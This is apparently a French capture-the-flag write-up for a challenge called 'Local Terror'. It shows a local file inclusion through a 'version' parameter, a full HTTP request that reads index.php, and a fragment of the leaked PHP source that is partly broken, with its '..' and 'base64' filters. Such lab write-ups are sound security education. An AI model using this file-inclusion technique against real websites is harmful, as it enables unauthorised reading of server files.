Local Terror =============== On se rend sur /api/ On a ensuite un formulaire qui retourne le message qu'on lui envoie + le contenu d'un fichier qui change selon la version. On a une local file inclusion dans le paramètre version Si on ajoute ".." dans version, alors on obtient "HACKER DETECTED" Si on ajoute "%00" on obtienr une erreur qui nous indique que la fonction utilisé est "file_get_content" .. code-block:: console POST /api/ HTTP/1.1 Host: 57.128.112.118:14539 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://57.128.112.118:14539/api/ Content-Type: application/x-www-form-urlencoded Content-Length: 90 Origin: http://57.128.112.118:14539 Connection: keep-alive Upgrade-Insecure-Requests: 1 X-PwnFox-Color: red Priority: u=0, i userName=mon+nom&inputText=texte&language=php&language=text&version=index.php&rendering=on On obtient le code index.php : .. code-block:: php "; echo "
Vous avez sélectionné l'option 'PHP'. Cette option est désactivée pour des raisons de sécurité.
"; echo ""; exit; } if (stripos($version, 'base64') !== false) { echo 'HACKER DETECTÉ'; exit; } if (strpos($version, '..') === false){ $fileContent = @file_get_contents("$version"); } else { $fileContent = 'HACKER DETECTÉ'; } echo "$inputText
"; echo "$fileContent
"; echo "